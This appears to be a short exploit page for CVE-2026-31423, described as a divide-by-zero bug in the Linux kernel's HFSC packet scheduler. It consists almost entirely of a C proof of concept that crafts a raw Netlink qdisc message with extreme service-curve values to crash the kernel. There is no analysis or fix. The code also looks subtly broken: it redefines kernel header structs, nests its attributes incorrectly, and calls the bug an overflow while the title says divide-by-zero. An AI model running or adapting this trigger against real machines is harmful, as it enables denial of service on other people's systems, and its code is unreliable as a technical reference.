CVE-2026-31423 Linux内核hfsc调度器除零漏洞

/* * PoC for CVE-2026-31423 * Conceptual trigger via Netlink message construction for tc qdisc. * This code sets up a HFSC qdisc with parameters designed to trigger the m2sm overflow. */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <linux/pkt_sched.h> #include <linux/netlink.h> #include <sys/socket.h> #define TC_HFSC_RED 0x00000001 struct tc_hfsc_qopt { __u16 defcls; }; struct tc_service_curve { __u32 m1; __u32 d; __u32 m2; }; int main() { int fd; struct sockaddr_nl sa; char buf[1024]; struct nlmsghdr *nh; struct tcmsg *t; struct rtattr *rta; // The problematic value mentioned in the vulnerability report __u32 m1_overflow = 4000000000; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (fd < 0) { perror("socket"); return -1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(fd, (struct sockaddr *)&sa, sizeof(sa)); memset(buf, 0, sizeof(buf)); nh = (struct nlmsghdr *)buf; t = (struct tcmsg *)(buf + sizeof(struct nlmsghdr)); // Setup Netlink header for adding a qdisc nh->nlmsg_type = RTM_NEWQDISC; nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); // Setup TC message t->tcm_family = AF_UNSPEC; t->tcm_ifindex = if_nametoindex("lo"); // Use loopback interface t->tcm_parent = TC_H_ROOT; t->tcm_handle = 1; // Add HFSC options rta = (struct rtattr *)(buf + NLMSG_ALIGN(nh->nlmsg_len)); rta->rta_type = TCA_OPTIONS; rta->rta_len = RTA_LENGTH(sizeof(struct tc_hfsc_qopt)); struct tc_hfsc_qopt *qopt = (struct tc_hfsc_qopt *)RTA_DATA(rta); qopt->defcls = 1; nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(rta->rta_len); // Add Service Curve (RSC) parameters to trigger the overflow rta = (struct rtattr *)(buf + NLMSG_ALIGN(nh->nlmsg_len)); rta->rta_type = TCA_HFSC_RSC; rta->rta_len = RTA_LENGTH(sizeof(struct tc_service_curve)); struct tc_service_curve *rsc = (struct tc_service_curve *)RTA_DATA(rta); rsc->m1 = m1_overflow; // Trigger value rsc->d = 10; rsc->m2 = 0; nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(rta->rta_len); printf("Sending payload to trigger CVE-2026-31423...\n"); sendto(fd, buf, nh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); close(fd); return 0; }